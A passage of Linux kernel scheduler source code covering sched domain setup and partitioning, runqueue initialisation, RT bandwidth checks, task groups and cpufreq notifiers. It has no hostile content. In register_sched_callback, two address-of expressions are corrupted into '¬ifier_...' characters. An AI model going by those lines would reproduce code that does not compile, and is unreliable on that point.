kfree(*per_cpu_ptr(sdd->sg, j));
if (sdd->sgp)
kfree(*per_cpu_ptr(sdd->sgp, j));
}
free_percpu(sdd->sd);
sdd->sd = NULL;
free_percpu(sdd->sg);
sdd->sg = NULL;
free_percpu(sdd->sgp);
sdd->sgp = NULL;
}
}
struct sched_domain *build_sched_domain(struct sched_domain_topology_level *tl,
struct s_data *d, const struct cpumask *cpu_map,
struct sched_domain_attr *attr, struct sched_domain *child,
int cpu)
{
struct sched_domain *sd = tl->init(tl, cpu);
if (!sd)
return child;
set_domain_attribute(sd, attr);
cpumask_and(sched_domain_span(sd), cpu_map, tl->mask(cpu));
if (child) {
sd->level = child->level + 1;
sched_domain_level_max = max(sched_domain_level_max, sd->level);
child->parent = sd;
}
sd->child = child;
return sd;
}
/*
* Build sched domains for a given set of cpus and attach the sched domains
* to the individual cpus
*/
static int build_sched_domains(const struct cpumask *cpu_map,
struct sched_domain_attr *attr)
{
enum s_alloc alloc_state = sa_none;
struct sched_domain *sd;
struct s_data d;
int i, ret = -ENOMEM;
alloc_state = __visit_domain_allocation_hell(&d, cpu_map);
if (alloc_state != sa_rootdomain)
goto error;
/* Set up domains for cpus specified by the cpu_map. */
for_each_cpu(i, cpu_map) {
struct sched_domain_topology_level *tl;
sd = NULL;
for (tl = sched_domain_topology; tl->init; tl++) {
sd = build_sched_domain(tl, &d, cpu_map, attr, sd, i);
if (tl->flags & SDTL_OVERLAP || sched_feat(FORCE_SD_OVERLAP))
sd->flags |= SD_OVERLAP;
if (cpumask_equal(cpu_map, sched_domain_span(sd)))
break;
}
while (sd->child)
sd = sd->child;
*per_cpu_ptr(d.sd, i) = sd;
}
/* Build the groups for the domains */
for_each_cpu(i, cpu_map) {
for (sd = *per_cpu_ptr(d.sd, i); sd; sd = sd->parent) {
sd->span_weight = cpumask_weight(sched_domain_span(sd));
if (sd->flags & SD_OVERLAP) {
if (build_overlap_sched_groups(sd, i))
goto error;
} else {
if (build_sched_groups(sd, i))
goto error;
}
}
}
/* Calculate CPU power for physical packages and nodes */
for (i = nr_cpumask_bits-1; i >= 0; i--) {
if (!cpumask_test_cpu(i, cpu_map))
continue;
for (sd = *per_cpu_ptr(d.sd, i); sd; sd = sd->parent) {
claim_allocations(i, sd);
init_sched_groups_power(i, sd);
}
}
/* Attach the domains */
rcu_read_lock();
for_each_cpu(i, cpu_map) {
sd = *per_cpu_ptr(d.sd, i);
cpu_attach_domain(sd, d.rd, i);
}
rcu_read_unlock();
ret = 0;
error:
__free_domain_allocs(&d, alloc_state, cpu_map);
return ret;
}
static cpumask_var_t *doms_cur; /* current sched domains */
static int ndoms_cur; /* number of sched domains in 'doms_cur' */
static struct sched_domain_attr *dattr_cur;
/* attribues of custom domains in 'doms_cur' */
/*
* Special case: If a kmalloc of a doms_cur partition (array of
* cpumask) fails, then fallback to a single sched domain,
* as determined by the single cpumask fallback_doms.
*/
static cpumask_var_t fallback_doms;
/*
* arch_update_cpu_topology lets virtualized architectures update the
* cpu core maps. It is supposed to return 1 if the topology changed
* or 0 if it stayed the same.
*/
int __attribute__((weak)) arch_update_cpu_topology(void)
{
return 0;
}
cpumask_var_t *alloc_sched_domains(unsigned int ndoms)
{
int i;
cpumask_var_t *doms;
doms = kmalloc(sizeof(*doms) * ndoms, GFP_KERNEL);
if (!doms)
return NULL;
for (i = 0; i < ndoms; i++) {
if (!alloc_cpumask_var(&doms[i], GFP_KERNEL)) {
free_sched_domains(doms, i);
return NULL;
}
}
return doms;
}
void free_sched_domains(cpumask_var_t doms[], unsigned int ndoms)
{
unsigned int i;
for (i = 0; i < ndoms; i++)
free_cpumask_var(doms[i]);
kfree(doms);
}
/*
* Set up scheduler domains and groups. Callers must hold the hotplug lock.
* For now this just excludes isolated cpus, but could be used to
* exclude other special cases in the future.
*/
static int init_sched_domains(const struct cpumask *cpu_map)
{
int err;
arch_update_cpu_topology();
ndoms_cur = 1;
doms_cur = alloc_sched_domains(ndoms_cur);
if (!doms_cur)
doms_cur = &fallback_doms;
cpumask_andnot(doms_cur[0], cpu_map, cpu_isolated_map);
dattr_cur = NULL;
err = build_sched_domains(doms_cur[0], NULL);
register_sched_domain_sysctl();
return err;
}
/*
* Detach sched domains from a group of cpus specified in cpu_map
* These cpus will now be attached to the NULL domain
*/
static void detach_destroy_domains(const struct cpumask *cpu_map)
{
int i;
rcu_read_lock();
for_each_cpu(i, cpu_map)
cpu_attach_domain(NULL, &def_root_domain, i);
rcu_read_unlock();
}
/* handle null as "default" */
static int dattrs_equal(struct sched_domain_attr *cur, int idx_cur,
struct sched_domain_attr *new, int idx_new)
{
struct sched_domain_attr tmp;
/* fast path */
if (!new && !cur)
return 1;
tmp = SD_ATTR_INIT;
return !memcmp(cur ? (cur + idx_cur) : &tmp,
new ? (new + idx_new) : &tmp,
sizeof(struct sched_domain_attr));
}
/*
* Partition sched domains as specified by the 'ndoms_new'
* cpumasks in the array doms_new[] of cpumasks. This compares
* doms_new[] to the current sched domain partitioning, doms_cur[].
* It destroys each deleted domain and builds each new domain.
*
* 'doms_new' is an array of cpumask_var_t's of length 'ndoms_new'.
* The masks don't intersect (don't overlap.) We should setup one
* sched domain for each mask. CPUs not in any of the cpumasks will
* not be load balanced. If the same cpumask appears both in the
* current 'doms_cur' domains and in the new 'doms_new', we can leave
* it as it is.
*
* The passed in 'doms_new' should be allocated using
* alloc_sched_domains. This routine takes ownership of it and will
* free_sched_domains it when done with it. If the caller failed the
* alloc call, then it can pass in doms_new == NULL && ndoms_new == 1,
* and partition_sched_domains() will fallback to the single partition
* 'fallback_doms', it also forces the domains to be rebuilt.
*
* If doms_new == NULL it will be replaced with cpu_online_mask.
* ndoms_new == 0 is a special case for destroying existing domains,
* and it will not create the default domain.
*
* Call with hotplug lock held
*/
void partition_sched_domains(int ndoms_new, cpumask_var_t doms_new[],
struct sched_domain_attr *dattr_new)
{
int i, j, n;
int new_topology;
mutex_lock(&sched_domains_mutex);
/* always unregister in case we don't destroy any domains */
unregister_sched_domain_sysctl();
/* Let architecture update cpu core mappings. */
new_topology = arch_update_cpu_topology();
n = doms_new ? ndoms_new : 0;
/* Destroy deleted domains */
for (i = 0; i < ndoms_cur; i++) {
for (j = 0; j < n && !new_topology; j++) {
if (cpumask_equal(doms_cur[i], doms_new[j])
&& dattrs_equal(dattr_cur, i, dattr_new, j))
goto match1;
}
/* no match - a current sched domain not in new doms_new[] */
detach_destroy_domains(doms_cur[i]);
match1:
;
}
if (doms_new == NULL) {
ndoms_cur = 0;
doms_new = &fallback_doms;
cpumask_andnot(doms_new[0], cpu_active_mask, cpu_isolated_map);
WARN_ON_ONCE(dattr_new);
}
/* Build new domains */
for (i = 0; i < ndoms_new; i++) {
for (j = 0; j < ndoms_cur && !new_topology; j++) {
if (cpumask_equal(doms_new[i], doms_cur[j])
&& dattrs_equal(dattr_new, i, dattr_cur, j))
goto match2;
}
/* no match - add a new doms_new */
build_sched_domains(doms_new[i], dattr_new ? dattr_new + i : NULL);
match2:
;
}
/* Remember the new sched domains */
if (doms_cur != &fallback_doms)
free_sched_domains(doms_cur, ndoms_cur);
kfree(dattr_cur); /* kfree(NULL) is safe */
doms_cur = doms_new;
dattr_cur = dattr_new;
ndoms_cur = ndoms_new;
register_sched_domain_sysctl();
mutex_unlock(&sched_domains_mutex);
}
static int num_cpus_frozen; /* used to mark begin/end of suspend/resume */
/*
* Update cpusets according to cpu_active mask. If cpusets are
* disabled, cpuset_update_active_cpus() becomes a simple wrapper
* around partition_sched_domains().
*
* If we come here as part of a suspend/resume, don't touch cpusets because we
* want to restore it back to its original state upon resume anyway.
*/
static int cpuset_cpu_active(struct notifier_block *nfb, unsigned long action,
void *hcpu)
{
switch (action) {
case CPU_ONLINE_FROZEN:
case CPU_DOWN_FAILED_FROZEN:
/*
* num_cpus_frozen tracks how many CPUs are involved in suspend
* resume sequence. As long as this is not the last online
* operation in the resume sequence, just build a single sched
* domain, ignoring cpusets.
*/
num_cpus_frozen--;
if (likely(num_cpus_frozen)) {
partition_sched_domains(1, NULL, NULL);
break;
}
/*
* This is the last CPU online operation. So fall through and
* restore the original sched domains by considering the
* cpuset configurations.
*/
case CPU_ONLINE:
case CPU_DOWN_FAILED:
cpuset_update_active_cpus();
break;
default:
return NOTIFY_DONE;
}
return NOTIFY_OK;
}
static int cpuset_cpu_inactive(struct notifier_block *nfb, unsigned long action,
void *hcpu)
{
switch (action) {
case CPU_DOWN_PREPARE:
cpuset_update_active_cpus();
break;
case CPU_DOWN_PREPARE_FROZEN:
num_cpus_frozen++;
partition_sched_domains(1, NULL, NULL);
break;
default:
return NOTIFY_DONE;
}
return NOTIFY_OK;
}
void __init sched_init_smp(void)
{
cpumask_var_t non_isolated_cpus;
alloc_cpumask_var(&non_isolated_cpus, GFP_KERNEL);
alloc_cpumask_var(&fallback_doms, GFP_KERNEL);
mutex_lock(&sched_domains_mutex);
init_sched_domains(cpu_active_mask);
cpumask_andnot(non_isolated_cpus, cpu_possible_mask, cpu_isolated_map);
if (cpumask_empty(non_isolated_cpus))
cpumask_set_cpu(smp_processor_id(), non_isolated_cpus);
mutex_unlock(&sched_domains_mutex);
hotcpu_notifier(cpuset_cpu_active, CPU_PRI_CPUSET_ACTIVE);
hotcpu_notifier(cpuset_cpu_inactive, CPU_PRI_CPUSET_INACTIVE);
init_hrtick();
/* Move init over to a non-isolated CPU */
if (set_cpus_allowed_ptr(current, non_isolated_cpus) < 0)
BUG();
sched_init_granularity();
free_cpumask_var(non_isolated_cpus);
init_sched_rt_class();
}
#else
void __init sched_init_smp(void)
{
sched_init_granularity();
}
#endif /* CONFIG_SMP */
static int cpufreq_notifier_policy(struct notifier_block *nb,
unsigned long val, void *data)
{
struct cpufreq_policy *policy = (struct cpufreq_policy *)data;
int i;
if (val != CPUFREQ_NOTIFY)
return 0;
for_each_cpu(i, policy->related_cpus) {
cpu_rq(i)->min_freq = policy->min;
cpu_rq(i)->max_freq = policy->max;
}
max_possible_freq = max(max_possible_freq, policy->cpuinfo.max_freq);
return 0;
}
static int cpufreq_notifier_trans(struct notifier_block *nb,
unsigned long val, void *data)
{
struct cpufreq_freqs *freq = (struct cpufreq_freqs *)data;
unsigned int cpu = freq->cpu, new_freq = freq->new;
if (val != CPUFREQ_POSTCHANGE)
return 0;
BUG_ON(!new_freq);
cpu_rq(cpu)->cur_freq = new_freq;
return 0;
}
static struct notifier_block notifier_policy_block = {
.notifier_call = cpufreq_notifier_policy
};
static struct notifier_block notifier_trans_block = {
.notifier_call = cpufreq_notifier_trans
};
static int register_sched_callback(void)
{
int ret;
ret = cpufreq_register_notifier(¬ifier_policy_block,
CPUFREQ_POLICY_NOTIFIER);
if (!ret)
ret = cpufreq_register_notifier(¬ifier_trans_block,
CPUFREQ_TRANSITION_NOTIFIER);
return 0;
}
core_initcall(register_sched_callback);
const_debug unsigned int sysctl_timer_migration = 1;
int in_sched_functions(unsigned long addr)
{
return in_lock_functions(addr) ||
(addr >= (unsigned long)__sched_text_start
&& addr < (unsigned long)__sched_text_end);
}
#ifdef CONFIG_CGROUP_SCHED
struct task_group root_task_group;
LIST_HEAD(task_groups);
#endif
DECLARE_PER_CPU(cpumask_var_t, load_balance_mask);
void __init sched_init(void)
{
int i, j;
unsigned long alloc_size = 0, ptr;
#ifdef CONFIG_FAIR_GROUP_SCHED
alloc_size += 2 * nr_cpu_ids * sizeof(void **);
#endif
#ifdef CONFIG_RT_GROUP_SCHED
alloc_size += 2 * nr_cpu_ids * sizeof(void **);
#endif
#ifdef CONFIG_CPUMASK_OFFSTACK
alloc_size += num_possible_cpus() * cpumask_size();
#endif
if (alloc_size) {
ptr = (unsigned long)kzalloc(alloc_size, GFP_NOWAIT);
#ifdef CONFIG_FAIR_GROUP_SCHED
root_task_group.se = (struct sched_entity **)ptr;
ptr += nr_cpu_ids * sizeof(void **);
root_task_group.cfs_rq = (struct cfs_rq **)ptr;
ptr += nr_cpu_ids * sizeof(void **);
#endif /* CONFIG_FAIR_GROUP_SCHED */
#ifdef CONFIG_RT_GROUP_SCHED
root_task_group.rt_se = (struct sched_rt_entity **)ptr;
ptr += nr_cpu_ids * sizeof(void **);
root_task_group.rt_rq = (struct rt_rq **)ptr;
ptr += nr_cpu_ids * sizeof(void **);
#endif /* CONFIG_RT_GROUP_SCHED */
#ifdef CONFIG_CPUMASK_OFFSTACK
for_each_possible_cpu(i) {
per_cpu(load_balance_mask, i) = (void *)ptr;
ptr += cpumask_size();
}
#endif /* CONFIG_CPUMASK_OFFSTACK */
}
#ifdef CONFIG_SMP
init_defrootdomain();
#endif
init_rt_bandwidth(&def_rt_bandwidth,
global_rt_period(), global_rt_runtime());
#ifdef CONFIG_RT_GROUP_SCHED
init_rt_bandwidth(&root_task_group.rt_bandwidth,
global_rt_period(), global_rt_runtime());
#endif /* CONFIG_RT_GROUP_SCHED */
#ifdef CONFIG_CGROUP_SCHED
list_add(&root_task_group.list, &task_groups);
INIT_LIST_HEAD(&root_task_group.children);
INIT_LIST_HEAD(&root_task_group.siblings);
autogroup_init(&init_task);
#endif /* CONFIG_CGROUP_SCHED */
#ifdef CONFIG_CGROUP_CPUACCT
root_cpuacct.cpustat = &kernel_cpustat;
root_cpuacct.cpuusage = alloc_percpu(u64);
/* Too early, not expected to fail */
BUG_ON(!root_cpuacct.cpuusage);
#endif
for_each_possible_cpu(i) {
struct rq *rq;
rq = cpu_rq(i);
raw_spin_lock_init(&rq->lock);
rq->nr_running = 0;
rq->calc_load_active = 0;
rq->calc_load_update = jiffies + LOAD_FREQ;
init_cfs_rq(&rq->cfs);
init_rt_rq(&rq->rt, rq);
#ifdef CONFIG_FAIR_GROUP_SCHED
root_task_group.shares = ROOT_TASK_GROUP_LOAD;
INIT_LIST_HEAD(&rq->leaf_cfs_rq_list);
/*
* How much cpu bandwidth does root_task_group get?
*
* In case of task-groups formed thr' the cgroup filesystem, it
* gets 100% of the cpu resources in the system. This overall
* system cpu resource is divided among the tasks of
* root_task_group and its child task-groups in a fair manner,
* based on each entity's (task or task-group's) weight
* (se->load.weight).
*
* In other words, if root_task_group has 10 tasks of weight
* 1024) and two child groups A0 and A1 (of weight 1024 each),
* then A0's share of the cpu resource is:
*
* A0's bandwidth = 1024 / (10*1024 + 1024 + 1024) = 8.33%
*
* We achieve this by letting root_task_group's tasks sit
* directly in rq->cfs (i.e root_task_group->se[] = NULL).
*/
init_cfs_bandwidth(&root_task_group.cfs_bandwidth);
init_tg_cfs_entry(&root_task_group, &rq->cfs, NULL, i, NULL);
#endif /* CONFIG_FAIR_GROUP_SCHED */
rq->rt.rt_runtime = def_rt_bandwidth.rt_runtime;
#ifdef CONFIG_RT_GROUP_SCHED
INIT_LIST_HEAD(&rq->leaf_rt_rq_list);
init_tg_rt_entry(&root_task_group, &rq->rt, NULL, i, NULL);
#endif
for (j = 0; j < CPU_LOAD_IDX_MAX; j++)
rq->cpu_load[j] = 0;
rq->last_load_update_tick = jiffies;
#ifdef CONFIG_SMP
rq->sd = NULL;
rq->rd = NULL;
rq->cpu_power = SCHED_POWER_SCALE;
rq->post_schedule = 0;
rq->active_balance = 0;
rq->next_balance = jiffies;
rq->push_cpu = 0;
rq->cpu = i;
rq->online = 0;
rq->idle_stamp = 0;
rq->avg_idle = 2*sysctl_sched_migration_cost;
rq->cur_freq = 0;
rq->max_freq = 0;
rq->min_freq = 0;
rq->cumulative_runnable_avg = 0;
INIT_LIST_HEAD(&rq->cfs_tasks);
rq_attach_root(rq, &def_root_domain);
#ifdef CONFIG_NO_HZ
rq->nohz_flags = 0;
#endif
#endif
init_rq_hrtick(rq);
atomic_set(&rq->nr_iowait, 0);
}
set_load_weight(&init_task);
#ifdef CONFIG_PREEMPT_NOTIFIERS
INIT_HLIST_HEAD(&init_task.preempt_notifiers);
#endif
#ifdef CONFIG_RT_MUTEXES
plist_head_init(&init_task.pi_waiters);
#endif
/*
* The boot idle thread does lazy MMU switching as well:
*/
atomic_inc(&init_mm.mm_count);
enter_lazy_tlb(&init_mm, current);
/*
* Make us the idle thread. Technically, schedule() should not be
* called from this thread, however somewhere below it might be,
* but because we are the idle thread, we just pick up running again
* when this runqueue becomes "idle".
*/
init_idle(current, smp_processor_id());
calc_load_update = jiffies + LOAD_FREQ;
/*
* During early bootup we pretend to be a normal task:
*/
current->sched_class = &fair_sched_class;
#ifdef CONFIG_SMP
zalloc_cpumask_var(&sched_domains_tmpmask, GFP_NOWAIT);
/* May be allocated at isolcpus cmdline parse time */
if (cpu_isolated_map == NULL)
zalloc_cpumask_var(&cpu_isolated_map, GFP_NOWAIT);
idle_thread_set_boot_cpu();
#endif
init_sched_fair_class();
scheduler_running = 1;
}
#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
static inline int preempt_count_equals(int preempt_offset)
{
int nested = (preempt_count() & ~PREEMPT_ACTIVE) + rcu_preempt_depth();
return (nested == preempt_offset);
}
static int __might_sleep_init_called;
int __init __might_sleep_init(void)
{
__might_sleep_init_called = 1;
return 0;
}
early_initcall(__might_sleep_init);
void __might_sleep(const char *file, int line, int preempt_offset)
{
static unsigned long prev_jiffy; /* ratelimiting */
rcu_sleep_check(); /* WARN_ON_ONCE() by default, no rate limit reqd. */
if ((preempt_count_equals(preempt_offset) && !irqs_disabled()) ||
oops_in_progress)
return;
if (system_state != SYSTEM_RUNNING &&
(!__might_sleep_init_called || system_state != SYSTEM_BOOTING))
return;
if (time_before(jiffies, prev_jiffy + HZ) && prev_jiffy)
return;
prev_jiffy = jiffies;
printk(KERN_ERR
"BUG: sleeping function called from invalid context at %s:%d\n",
file, line);
printk(KERN_ERR
"in_atomic(): %d, irqs_disabled(): %d, pid: %d, name: %s\n",
in_atomic(), irqs_disabled(),
current->pid, current->comm);
debug_show_held_locks(current);
if (irqs_disabled())
print_irqtrace_events(current);
dump_stack();
}
EXPORT_SYMBOL(__might_sleep);
#endif
#ifdef CONFIG_MAGIC_SYSRQ
static void normalize_task(struct rq *rq, struct task_struct *p)
{
const struct sched_class *prev_class = p->sched_class;
int old_prio = p->prio;
int on_rq;
on_rq = p->on_rq;
if (on_rq)
dequeue_task(rq, p, 0);
__setscheduler(rq, p, SCHED_NORMAL, 0);
if (on_rq) {
enqueue_task(rq, p, 0);
resched_task(rq->curr);
}
check_class_changed(rq, p, prev_class, old_prio);
}
void normalize_rt_tasks(void)
{
struct task_struct *g, *p;
unsigned long flags;
struct rq *rq;
read_lock_irqsave(&tasklist_lock, flags);
do_each_thread(g, p) {
/*
* Only normalize user tasks:
*/
if (!p->mm)
continue;
p->se.exec_start = 0;
#ifdef CONFIG_SCHEDSTATS
p->se.statistics.wait_start = 0;
p->se.statistics.sleep_start = 0;
p->se.statistics.block_start = 0;
#endif
if (!rt_task(p)) {
/*
* Renice negative nice level userspace
* tasks back to 0:
*/
if (TASK_NICE(p) < 0 && p->mm)
set_user_nice(p, 0);
continue;
}
raw_spin_lock(&p->pi_lock);
rq = __task_rq_lock(p);
normalize_task(rq, p);
__task_rq_unlock(rq);
raw_spin_unlock(&p->pi_lock);
} while_each_thread(g, p);
read_unlock_irqrestore(&tasklist_lock, flags);
}
#endif /* CONFIG_MAGIC_SYSRQ */
#if defined(CONFIG_IA64) || defined(CONFIG_KGDB_KDB)
/*
* These functions are only useful for the IA64 MCA handling, or kdb.
*
* They can only be called when the whole system has been
* stopped - every CPU needs to be quiescent, and no scheduling
* activity can take place. Using them for anything else would
* be a serious bug, and as a result, they aren't even visible
* under any other configuration.
*/
/**
* curr_task - return the current task for a given cpu.
* @cpu: the processor in question.
*
* ONLY VALID WHEN THE WHOLE SYSTEM IS STOPPED!
*/
struct task_struct *curr_task(int cpu)
{
return cpu_curr(cpu);
}
#endif /* defined(CONFIG_IA64) || defined(CONFIG_KGDB_KDB) */
#ifdef CONFIG_IA64
/**
* set_curr_task - set the current task for a given cpu.
* @cpu: the processor in question.
* @p: the task pointer to set.
*
* Description: This function must only be used when non-maskable interrupts
* are serviced on a separate stack. It allows the architecture to switch the
* notion of the current task on a cpu in a non-blocking manner. This function
* must be called with all CPU's synchronized, and interrupts disabled, the
* and caller must save the original value of the current task (see
* curr_task() above) and restore that value before reenabling interrupts and
* re-starting the system.
*
* ONLY VALID WHEN THE WHOLE SYSTEM IS STOPPED!
*/
void set_curr_task(int cpu, struct task_struct *p)
{
cpu_curr(cpu) = p;
}
#endif
#ifdef CONFIG_CGROUP_SCHED
/* task_group_lock serializes the addition/removal of task groups */
static DEFINE_SPINLOCK(task_group_lock);
static void free_sched_group(struct task_group *tg)
{
free_fair_sched_group(tg);
free_rt_sched_group(tg);
autogroup_free(tg);
kfree(tg);
}
/* allocate runqueue etc for a new task group */
struct task_group *sched_create_group(struct task_group *parent)
{
struct task_group *tg;
unsigned long flags;
tg = kzalloc(sizeof(*tg), GFP_KERNEL);
if (!tg)
return ERR_PTR(-ENOMEM);
if (!alloc_fair_sched_group(tg, parent))
goto err;
if (!alloc_rt_sched_group(tg, parent))
goto err;
spin_lock_irqsave(&task_group_lock, flags);
list_add_rcu(&tg->list, &task_groups);
WARN_ON(!parent); /* root should already exist */
tg->parent = parent;
INIT_LIST_HEAD(&tg->children);
list_add_rcu(&tg->siblings, &parent->children);
spin_unlock_irqrestore(&task_group_lock, flags);
return tg;
err:
free_sched_group(tg);
return ERR_PTR(-ENOMEM);
}
/* rcu callback to free various structures associated with a task group */
static void free_sched_group_rcu(struct rcu_head *rhp)
{
/* now it should be safe to free those cfs_rqs */
free_sched_group(container_of(rhp, struct task_group, rcu));
}
/* Destroy runqueue etc associated with a task group */
void sched_destroy_group(struct task_group *tg)
{
unsigned long flags;
int i;
/* end participation in shares distribution */
for_each_possible_cpu(i)
unregister_fair_sched_group(tg, i);
spin_lock_irqsave(&task_group_lock, flags);
list_del_rcu(&tg->list);
list_del_rcu(&tg->siblings);
spin_unlock_irqrestore(&task_group_lock, flags);
/* wait for possible concurrent references to cfs_rqs complete */
call_rcu(&tg->rcu, free_sched_group_rcu);
}
/* change task's runqueue when it moves between groups.
* The caller of this function should have put the task in its new group
* by now. This function just updates tsk->se.cfs_rq and tsk->se.parent to
* reflect its new group.
*/
void sched_move_task(struct task_struct *tsk)
{
int on_rq, running;
unsigned long flags;
struct rq *rq;
rq = task_rq_lock(tsk, &flags);
running = task_current(rq, tsk);
on_rq = tsk->on_rq;
if (on_rq)
dequeue_task(rq, tsk, 0);
if (unlikely(running))
tsk->sched_class->put_prev_task(rq, tsk);
#ifdef CONFIG_FAIR_GROUP_SCHED
if (tsk->sched_class->task_move_group)
tsk->sched_class->task_move_group(tsk, on_rq);
else
#endif
set_task_rq(tsk, task_cpu(tsk));
if (unlikely(running))
tsk->sched_class->set_curr_task(rq);
if (on_rq)
enqueue_task(rq, tsk, 0);
task_rq_unlock(rq, tsk, &flags);
}
#endif /* CONFIG_CGROUP_SCHED */
#if defined(CONFIG_RT_GROUP_SCHED) || defined(CONFIG_CFS_BANDWIDTH)
static unsigned long to_ratio(u64 period, u64 runtime)
{
if (runtime == RUNTIME_INF)
return 1ULL << 20;
return div64_u64(runtime << 20, period);
}
#endif
#ifdef CONFIG_RT_GROUP_SCHED
/*
* Ensure that the real time constraints are schedulable.
*/
static DEFINE_MUTEX(rt_constraints_mutex);
/* Must be called with tasklist_lock held */
static inline int tg_has_rt_tasks(struct task_group *tg)
{
struct task_struct *g, *p;
do_each_thread(g, p) {
if (rt_task(p) && task_rq(p)->rt.tg == tg)
return 1;
} while_each_thread(g, p);
return 0;
}
struct rt_schedulable_data {
struct task_group *tg;
u64 rt_period;
u64 rt_runtime;
};
static int tg_rt_schedulable(struct task_group *tg, void *data)
{
struct rt_schedulable_data *d = data;
struct task_group *child;
unsigned long total, sum = 0;
u64 period, runtime;
period = ktime_to_ns(tg->rt_bandwidth.rt_period);
runtime = tg->rt_bandwidth.rt_runtime;
if (tg == d->tg) {
period = d->rt_period;
runtime = d->rt_runtime;
}
/*
* Cannot have more runtime than the period.
*/
if (runtime > period && runtime != RUNTIME_INF)
return -EINVAL;
/*
* Ensure we don't starve existing RT tasks.
*/
if (rt_bandwidth_enabled() && !runtime && tg_has_rt_tasks(tg))
return -EBUSY;
total = to_ratio(period, runtime);
/*
* Nobody can have more than the global setting allows.
*/
if (total > to_ratio(global_rt_period(), global_rt_runtime()))
return -EINVAL;
/*
* The sum of our children's runtime should not exceed our own.
*/
list_for_each_entry_rcu(child, &tg->children, siblings) {
period = ktime_to_ns(child->rt_bandwidth.rt_period);
runtime = child->rt_bandwidth.rt_runtime;
if (child == d->tg) {
period = d->rt_period;
runtime = d->rt_runtime;
}
sum += to_ratio(period, runtime);
}
if (sum > total)
return -EINVAL;
return 0;
}
static int __rt_schedulable(struct task_group *tg, u64 period, u64 runtime)
{
int ret;
struct rt_schedulable_data data = {
.tg = tg,
.rt_period = period,
.rt_runtime = runtime,
};
rcu_read_lock();
ret = walk_tg_tree(tg_rt_schedulable, tg_nop, &data);
rcu_read_unlock();
return ret;
}
static int tg_set_rt_bandwidth(struct task_group *tg,
u64 rt_period, u64 rt_runtime)
{
int i, err = 0;
mutex_lock(&rt_constraints_mutex);
read_lock(&tasklist_lock);
err = __rt_schedulable(tg, rt_period, rt_runtime);
if (err)
goto unlock;
raw_spin_lock_irq(&tg->rt_bandwidth.rt_runtime_lock);
tg->rt_bandwidth.rt_period = ns_to_ktime(rt_period);
tg->rt_bandwidth.rt_runtime = rt_runtime;
for_each_possible_cpu(i) {
struct rt_rq *rt_rq = tg->rt_rq[i];
raw_spin_lock(&rt_rq->rt_runtime_lock);
rt_rq->rt_runtime = rt_runtime;
raw_spin_unlock(&rt_rq->rt_runtime_lock);
}
raw_spin_unlock_irq(&tg->rt_bandwidth.rt_runtime_lock);
unlock:
read_unlock(&tasklist_lock);
mutex_unlock(&rt_constraints_mutex);
return err;
}
int sched_group_set_rt_runtime(struct task_group *tg, long rt_runtime_us)
{
u64 rt_runtime, rt_period;
rt_period = ktime_to_ns(tg->rt_bandwidth.rt_period);
rt_runtime = (u64)rt_runtime_us * NSEC_PER_USEC;
if (rt_runtime_us < 0)
rt_runtime = RUNTIME_INF;
return tg_set_rt_bandwidth(tg, rt_period, rt_runtime);
}
long sched_group_rt_runtime(struct task_group *tg)
{
u64 rt_runtime_us;
if (tg->rt_bandwidth.rt_runtime == RUNTIME_INF)
return -1;
rt_runtime_us = tg->rt_bandwidth.rt_runtime;
do_div(rt_runtime_us, NSEC_PER_USEC);
return rt_runtime_us;
}
int sched_group_set_rt_period(struct task_group *tg, long rt_period_us)
{
u64 rt_runtime, rt_period;
rt_period = (u64)rt_period_us * NSEC_PER_USEC;
rt_runtime = tg->rt_bandwidth.rt_runtime;
if (rt_period == 0)
return -EINVAL;
return tg_set_rt_bandwidth(tg, rt_period, rt_runtime);
}
long sched_group_rt_period(struct task_group *tg)
{
u64 rt_period_us;
rt_period_us = ktime_to_ns(tg->rt_bandwidth.rt_period);
do_div(rt_period_us, NSEC_PER_USEC);
return rt_period_us;
}
static int sched_rt_global_constraints(void)
{
u64 runtime, period;
int ret = 0;
if (sysctl_sched_rt_period <= 0)
return -EINVAL;
runtime = global_rt_runtime();
period = global_rt_period();
/*
* Sanity check on the sysctl variables.
*/
if (runtime > period && runtime != RUNTIME_INF)
return -EINVAL;
mutex_lock(&rt_constraints_mutex);
read_lock(&tasklist_lock);
ret = __rt_schedulable(NULL, 0, 0);
read_unlock(&tasklist_lock);
mutex_unlock(&rt_constraints_mutex);
return ret;
}
int sched_rt_can_attach(struct task_group *tg, struct task_struct *tsk)
{
/* Don't accept realtime tasks when there is no way for them to run */
if (rt_task(tsk) && tg->rt_bandwidth.rt_runtime == 0)
return 0;
return 1;
}
#else /* !CONFIG_RT_GROUP_SCHED */
static int sched_rt_global_constraints(void)
{
unsigned long flags;
int i;
if (sysctl_sched_rt_period <= 0)
return -EINVAL;
/*
* There's always some RT tasks in the root group
* -- migration, kstopmachine etc..
*/
if (sysctl_sched_rt_runtime == 0)
return -EBUSY;
raw_spin_lock_irqsave(&def_rt_bandwidth.rt_runtime_lock, flags);
for_each_possible_cpu(i) {
struct rt_rq *rt_rq = &cpu_rq(i)->rt;
raw_spin_lock(&rt_rq->rt_runtime_lock);
rt_rq->rt_runtime = global_rt_runtime();
raw_spin_unlock(&rt_rq->rt_runtime_lock);
}
raw_spin_unlock_irqrestore(&def_rt_bandwidth.rt_runtime_lock, flags);
return 0;
}
#endif /* CONFIG_RT_GROUP_SCHED */
int sched_rt_handler(struct ctl_table *table, int write,
void __user *buffer, size_t *lenp,
loff_t *ppos)
{
int ret;
int old_period, old_runtime;
static DEFINE_MUTEX(mutex);
mutex_lock(&mutex);
old_period = sysctl_sched_rt_period;
old_runtime = sysctl_sched_rt_runtime;
ret = proc_dointvec(table, write, buffer, lenp, ppos);
if (!ret && write) {
ret = sched_rt_global_constraints();
if (ret) {
sysctl_sched_rt_period = old_period;
sysctl_sched_rt_runtime = old_runtime;
} else {
def_rt_bandwidth.rt_runtime = global_rt_runtime();
def_rt_bandwidth.rt_period =
ns_to_ktime(global_rt_period());
}
}
mutex_unlock(&mutex);
return ret;
}
#ifdef CONFIG_CGROUP_SCHED
/* return corresponding task_group object of a cgroup */
static inline struct task_group *cgroup_tg(struct cgroup *cgrp)
{
return container_of(cgroup_subsys_state(cgrp, cpu_cgroup_subsys_id),
struct task_group, css);
}
static struct cgroup_subsys_state *cpu_cgroup_create(struct cgroup *cgrp)
{
struct task_group *tg, *parent;
if (!cgrp->parent) {
/* This is early initialization for the top cgroup */
return &root_task_group.css;
}
parent = cgroup_tg(cgrp->parent);
tg = sched_create_group(parent);
if (IS_ERR(tg))
return ERR_PTR(-ENOMEM);
return &tg->css;
}
